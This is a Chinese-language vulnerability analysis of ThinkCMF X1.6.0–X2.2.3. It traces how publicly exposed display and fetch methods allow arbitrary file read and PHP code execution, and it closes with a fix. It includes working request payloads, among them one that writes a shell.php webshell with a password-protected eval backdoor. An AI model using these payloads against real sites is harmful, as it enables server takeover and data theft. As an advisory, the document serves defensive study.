• ThinkCMF基于thinkphp框架,是一款支持Swoole的开源内容管理框架

  • 影响版本

    ThinkCMF X1.6.0
    ThinkCMF X2.1.0
    ThinkCMF X2.2.0
    ThinkCMF X2.2.1
    ThinkCMF X2.2.2
    ThinkCMF X2.2.3

  • 漏洞危害:

    1. 读取敏感文件内容
    2. 执行任意php代码

payload

  1. 读取README.md文件内容

    ?a=display&templateFile=README.md

  2. 写一个名为shell.php的webshell

    ?a=fetch
    &templateFile=public/index
    &prefix=’’
    &content=%3C%3Fphp%20file_put_contents%28%27shell.php%27%2C%27%3C%3Fphp%20eval%28%24_POST%5B%22pass%22%5D%29%3B%3F%3E%27%29%20%3F%3E

漏洞分析

  • 在thinkphp中,可以通过特殊的get参数来访问控制器和对应的操作(也就是控制器的方法)
    比如?c=Blog&a=read&id=5会调用BlogController这个控制器类的read方法,并传递参数id=5
  • ThinkCMF框架默认的参数名和Thinkphp默认的不同,在/application/Common/Conf/config.php中可以看到
    1
    2
    3
    'VAR_MODULE'            =>  'g',     // 默认模块获取变量
    'VAR_CONTROLLER' => 'm', // 默认控制器获取变量
    'VAR_ACTION' => 'a', // 默认操作获取变量
    g为模块(也就是application目录下不同的应用),m为控制器,a为操作
  • 因此我们可以通过传递get参数调用display和fetch方法,并传递相应的参数给它们。可以发现exp只制定了操作,没有指定模块和控制器,这是因为ThinkCMF设置了默认的模块和控制器,同样在/application/Common/Conf/config.php可以看到
    1
    2
    3
    'DEFAULT_MODULE'        =>  'Portal',  // 默认模块
    'DEFAULT_CONTROLLER' => 'Index', // 默认控制器名称
    'DEFAULT_ACTION' => 'index', // 默认操作名称
  • 因此两个exp调用的是Portal模块,Index控制器下的两个操作display和fetch
  • Index 控制器并没有display和fetch这两个操作
    1
    2
    3
    4
    5
    6
    7
    8
    class IndexController extends HomebaseController {

    //首页 小夏是老猫除外最帅的男人了
    public function index() {
    $this->display(":index");
    }

    }
  • 但是IndexController的父类HomebaseController存在public的方法display和fetch方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    /**
    * 加载模板和页面输出 可以返回输出内容
    * @access public
    * @param string $templateFile 模板文件名
    * @param string $charset 模板输出字符集
    * @param string $contentType 输出类型
    * @param string $content 模板输出内容
    * @return mixed
    */
    public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
    }

    /**
    * 获取输出页面内容
    * 调用内置的模板引擎fetch方法,
    * @access protected
    * @param string $templateFile 指定要调用的模板文件
    * 默认为空 由系统自动定位模板文件
    * @param string $content 模板输出内容
    * @param string $prefix 模板缓存前缀*
    * @return string
    */
    public function fetch($templateFile='',$content='',$prefix=''){
    $templateFile = empty($content)?$this->parseTemplate($templateFile):'';
    return parent::fetch($templateFile,$content,$prefix);
    }
  • 漏洞的根源就是这两个方法被设为了public,可以直接去访问这两方法,并向其传递参数

1.display方法

这个时候payload为

1
?a=display&templateFile=README.md

也就是只向display方法传递了templateFile参数

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 加载模板和页面输出 可以返回输出内容
* @access public
* @param string $templateFile 模板文件名
* @param string $charset 模板输出字符集
* @param string $contentType 输出类型
* @param string $content 模板输出内容
* @return mixed
*/
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
parent::display($this->parseTemplate($templateFile), $charset, $contentType,$content,$prefix);
}
  • 这里先用parseTemplate去定位模板文件,然后调用父类的display方法
    1
    2
    3
    protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
    $this->view->display($templateFile,$charset,$contentType,$content,$prefix);
    }
  • 又会调用一个display方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
    G('viewStartTime');
    // 视图开始标签
    Hook::listen('view_begin',$templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile,$content,$prefix);
    // 输出模板内容
    $this->render($content,$charset,$contentType);
    // 视图结束标签
    Hook::listen('view_end');
    }
  • 跟进fetch方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    /**
    * 解析和获取模板内容 用于输出
    * @access public
    * @param string $templateFile 模板文件名
    * @param string $content 模板输出内容
    * @param string $prefix 模板缓存前缀
    * @return string
    */
    public function fetch($templateFile='',$content='',$prefix='') {
    if(empty($content)) {
    $templateFile = $this->parseTemplate($templateFile);
    // 模板文件不存在直接返回
    if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
    }else{
    defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
    }
    // 页面缓存
    ob_start();
    ob_implicit_flush(0);
    if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
    $_content = $content;
    // 模板阵列变量分解成为独立变量
    extract($this->tVar, EXTR_OVERWRITE);
    // 直接载入PHP模板
    empty($_content)?include $templateFile:eval('?>'.$_content);
    }else{
    // 视图解析标签
    $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
    Hook::listen('view_parse',$params);
    }
    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter',$content);
    // 输出模板文件
    return $content;
    }
  • empty($_content)?include $templateFile:eval('?>'.$_content);这段看起来可以代码执行,但if判断为假且条件不可控制
  • 跟进Hook类的listen方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    /**
    * 监听标签的插件
    * @param string $tag 标签名称
    * @param mixed $params 传入参数
    * @return void
    */
    static public function listen($tag, &$params=NULL) {
    if(isset(self::$tags[$tag])) {
    if(APP_DEBUG) {
    G($tag.'Start');
    trace('[ '.$tag.' ] --START--','','INFO');
    }
    foreach (self::$tags[$tag] as $name) {
    APP_DEBUG && G($name.'_start');
    $result = self::exec($name, $tag,$params);
    if(APP_DEBUG){
    G($name.'_end');
    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
    }
    if(false === $result) {
    // 如果返回false 则中断插件执行
    return ;
    }
    }
    if(APP_DEBUG) { // 记录行为的执行日志
    trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
    }
    }
    return;
    }
  • 发现执行了一个叫做exec的静态方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
     /**
    * 执行某个插件
    * @param string $name 插件名称
    * @param string $tag 方法名(标签名)
    * @param Mixed $params 传入的参数
    * @return void
    */
    static public function exec($name, $tag,&$params=NULL) {
    file_put_contents('D:/a.txt',$name.' '.$params['content']."\n",FILE_APPEND);
    if('Behavior' == substr($name,-8) ){
    // 行为扩展必须用run入口方法
    $class = $name;
    $tag = 'run';
    }else{
    $class = "plugins\\{$name}\\{$name}Plugin";
    }
    if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
    $addon = new $class();
    return $addon->$tag($params);
    }
    }
    }
  • 调试下发现最后一句return $addon->$tag($params);调用了Behavior\ParseTemplateBehavior类的run方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    // 行为扩展的执行入口必须是run
    public function run(&$_data){
    $engine = strtolower(C('TMPL_ENGINE_TYPE'));
    $_content = empty($_data['content'])?$_data['file']:$_data['content'];
    $_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
    if('think'==$engine){ // 采用Think模板引擎
    if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
    || $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
    //载入模版缓存文件
    Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
    }else{
    $tpl = Think::instance('Think\\Template');
    // 编译并加载模板文件
    $tpl->fetch($_content,$_data['var'],$_data['prefix']);
    }
    }else{
    // 调用第三方模板引擎解析和输出
    if(strpos($engine,'\\')){
    $class = $engine;
    }else{
    $class = 'Think\\Template\\Driver\\'.ucwords($engine);
    }
    if(class_exists($class)) {
    $tpl = new $class;
    $tpl->fetch($_content,$_data['var']);
    }else { // 类没有定义
    E(L('_NOT_SUPPORT_').': ' . $class);
    }
    }
    }
  • 会执行下面这段
    1
    2
    3
    $tpl = Think::instance('Think\\Template');
    // 编译并加载模板文件
    $tpl->fetch($_content,$_data['var'],$_data['prefix']);
  • 调用Think\Template类的fetch方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /**
    * 加载模板
    * @access public
    * @param string $templateFile 模板文件
    * @param array $templateVar 模板变量
    * @param string $prefix 模板标识前缀
    * @return void
    */
    public function fetch($templateFile,$templateVar,$prefix='') {
    $this->tVar = $templateVar;
    $templateCacheFile = $this->loadTemplate($templateFile,$prefix);
    Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
  • 调用了Storage类的load静态方法,Storage其实没有这个方法,但存在__callstatic魔术方法
    1
    2
    3
    4
    5
    6
    static public function __callstatic($method,$args){
    //调用缓存驱动的方法
    if(method_exists(self::$handler, $method)){
    return call_user_func_array(array(self::$handler,$method), $args);
    }
    }
  • 这时$method 为load,也就是会去调用一个名叫load的方法
  • 调试可以发现调用的是File类的load方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /**
    * 加载文件
    * @access public
    * @param string $filename 文件名
    * @param array $vars 传入变量
    * @return void
    */
    public function load($_filename,$vars=null){
    if(!is_null($vars)){
    extract($vars, EXTR_OVERWRITE);
    }
    include $_filename;
    }
  • 在最后包含了我们指定的文件

2.fetch方法

这个时候payload为

1
2
3
4
?a=fetch
&templateFile=public/index
&prefix=''
&content=<?php file_put_contents('shell.php','<?php eval($_POST["pass"]);?>') ?>

可以看到content参数中的php代码被执行了
分析下代码:

1
2
3
4
public function fetch($templateFile='',$content='',$prefix=''){
$templateFile = empty($content)?$this->parseTemplate($templateFile):'';
return parent::fetch($templateFile,$content,$prefix);
}
  • fetch也是调用了父类AppframeController的fetch方法
    1
    2
    3
    protected function fetch($templateFile='',$content='',$prefix='') {
    return $this->view->fetch($templateFile,$content,$prefix);
    }
  • 这个方法刚刚就见过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    public function fetch($templateFile='',$content='',$prefix='') {
    if(empty($content)) {
    $templateFile = $this->parseTemplate($templateFile);
    // 模板文件不存在直接返回
    if(!is_file($templateFile))
    E(L('_TEMPLATE_NOT_EXIST_') . ':' . $templateFile);
    }else{
    defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
    }
    // 页面缓存
    ob_start();
    ob_implicit_flush(0);
    if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
    $_content = $content;
    // 模板阵列变量分解成为独立变量
    extract($this->tVar, EXTR_OVERWRITE);
    // 直接载入PHP模板
    empty($_content)?include $templateFile:eval('?>'.$_content);
    }else{
    // 视图解析标签
    $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
    Hook::listen('view_parse',$params);
    }
    // 获取并清空缓存
    $content = ob_get_clean();
    // 内容过滤标签
    Hook::listen('view_filter',$content);
    // 输出模板文件
    return $content;
    }
  • 代码同样会执行到
    1
    Hook::listen('view_parse',$params);
  • 又是Hook类的静态方法listen
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    /**
    * 监听标签的插件
    * @param string $tag 标签名称
    * @param mixed $params 传入参数
    * @return void
    */
    static public function listen($tag, &$params=NULL) {
    if(isset(self::$tags[$tag])) {
    if(APP_DEBUG) {
    G($tag.'Start');
    trace('[ '.$tag.' ] --START--','','INFO');
    }
    foreach (self::$tags[$tag] as $name) {
    APP_DEBUG && G($name.'_start');
    $result = self::exec($name, $tag,$params);
    if(APP_DEBUG){
    G($name.'_end');
    trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
    }
    if(false === $result) {
    // 如果返回false 则中断插件执行
    return ;
    }
    }
    if(APP_DEBUG) { // 记录行为的执行日志
    trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
    }
    }
    return;
    }
  • $content变为$params
  • 跟进exec方法
    1
    $result =   self::exec($name, $tag,$params)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    static public function exec($name, $tag,&$params=NULL) {
    if('Behavior' == substr($name,-8) ){
    // 行为扩展必须用run入口方法
    $class = $name;
    $tag = 'run';
    }else{
    $class = "plugins\\{$name}\\{$name}Plugin";
    }
    if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
    $addon = new $class();
    return $addon->$tag($params);
    }
    }
  • 最后一句
    1
    return $addon->$tag($params);
    调用Behavior\ParseTemplateBehavior类的run方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    // 行为扩展的执行入口必须是run
    public function run(&$_data){
    $engine = strtolower(C('TMPL_ENGINE_TYPE'));
    $_content = empty($_data['content'])?$_data['file']:$_data['content'];
    $_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
    if('think'==$engine){ // 采用Think模板引擎
    if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
    || $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
    //载入模版缓存文件
    Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
    }else{
    $tpl = Think::instance('Think\\Template');
    // 编译并加载模板文件
    $tpl->fetch($_content,$_data['var'],$_data['prefix']);
    }
    }else{
    // 调用第三方模板引擎解析和输出
    if(strpos($engine,'\\')){
    $class = $engine;
    }else{
    $class = 'Think\\Template\\Driver\\'.ucwords($engine);
    }
    if(class_exists($class)) {
    $tpl = new $class;
    $tpl->fetch($_content,$_data['var']);
    }else { // 类没有定义
    E(L('_NOT_SUPPORT_').': ' . $class);
    }
    }
    }
  • 这里分为两种情况

    1.第一次执行payload2,或者清除了ThinkCMF的缓存

  • 会执行下面的代码
    1
    2
    3
    $tpl = Think::instance('Think\\Template');
    // 编译并加载模板文件
    $tpl->fetch($_content,$_data['var'],$_data['prefix']);
  • 又是Think\Template类的fetch方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /**
    * 加载模板
    * @access public
    * @param string $templateFile 模板文件
    * @param array $templateVar 模板变量
    * @param string $prefix 模板标识前缀
    * @return void
    */
    public function fetch($templateFile,$templateVar,$prefix='') {
    $this->tVar = $templateVar;
    $templateCacheFile = $this->loadTemplate($templateFile,$prefix);
    Storage::load($templateCacheFile,$this->tVar,null,'tpl');
    }
  • 跟进loadTemplate方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    /**
    * 加载主模板并缓存
    * @access public
    * @param string $templateFile 模板文件
    * @param string $prefix 模板标识前缀
    * @return string
    * @throws ThinkExecption
    */
    public function loadTemplate ($templateFile,$prefix='') {
    if(is_file($templateFile)) {
    $this->templateFile = $templateFile;
    // 读取模板文件内容
    $tmplContent = file_get_contents($templateFile);
    }else{
    $tmplContent = $templateFile;
    }
    // 根据模版文件名定位缓存文件
    $tmplCacheFile = $this->config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix'];

    // 判断是否启用布局
    if(C('LAYOUT_ON')) {
    if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定义不使用布局
    $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
    }else{ // 替换布局的主体内容
    $layoutFile = THEME_PATH.C('LAYOUT_NAME').$this->config['template_suffix'];
    // 检查布局文件
    if(!is_file($layoutFile)) {
    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
    }
    $tmplContent = str_replace($this->config['layout_item'],$tmplContent,file_get_contents($layoutFile));
    }
    }
    // 编译模板内容
    $tmplContent = $this->compiler($tmplContent);
    Storage::put($tmplCacheFile,trim($tmplContent),'tpl');
    return $tmplCacheFile;
    }
  • 发现在最后调用了了Storage类的put方法,也就是调用了File类的put方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    /**
    * 文件写入
    * @access public
    * @param string $filename 文件名
    * @param string $content 文件内容
    * @return boolean
    */
    public function put($filename,$content,$type=''){
    $dir = dirname($filename);
    if(!is_dir($dir)){
    mkdir($dir,0777,true);
    }
    if(false === file_put_contents($filename,$content)){
    E(L('_STORAGE_WRITE_ERROR_').':'.$filename);
    }else{
    $this->contents[$filename]=$content;
    return true;
    }
    }
  • 可以看到我们指定的content被写入到了一个缓存文件中去,文件名为之前的
    1
    C('CACHE_PATH').$prefix.md5($tmplContent).C('TMPL_CACHFILE_SUFFIX')
  • 然后Think\Template类fetch方法最后一行会调用File类的load方法去包含这个缓存文件,达到代码注入的效果

2.之前执行了payload2,缓存文件已经存在

  • 会用checkContentCache方法会检查缓存是否已经存在
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    /**
    * 检查缓存内容是否有效
    * 如果无效则需要重新编译
    * @access public
    * @param string $tmplContent 模板内容
    * @return boolean
    */
    protected function checkContentCache($tmplContent,$prefix='') {
    if(Storage::has(C('CACHE_PATH').$prefix.md5($tmplContent).C('TMPL_CACHFILE_SUFFIX'))){
    return true;
    }else{
    return false;
    }
    }
    }
  • 和刚才一样会去调用Storage类的has方法,实际上会调用File类的has方法去判断缓存文件是否存在
    1
    2
    3
    4
    5
    6
    7
    8
    9
    /**
    * 文件是否存在
    * @access public
    * @param string $filename 文件名
    * @return boolean
    */
    public function has($filename,$type=''){
    return is_file($filename);
    }
  • 如果缓存文件存在的话(比如之前已经执行过payload2),则直接去用load方法去包含这个缓存文件

修补方法

把display和fetch方法从public变为protected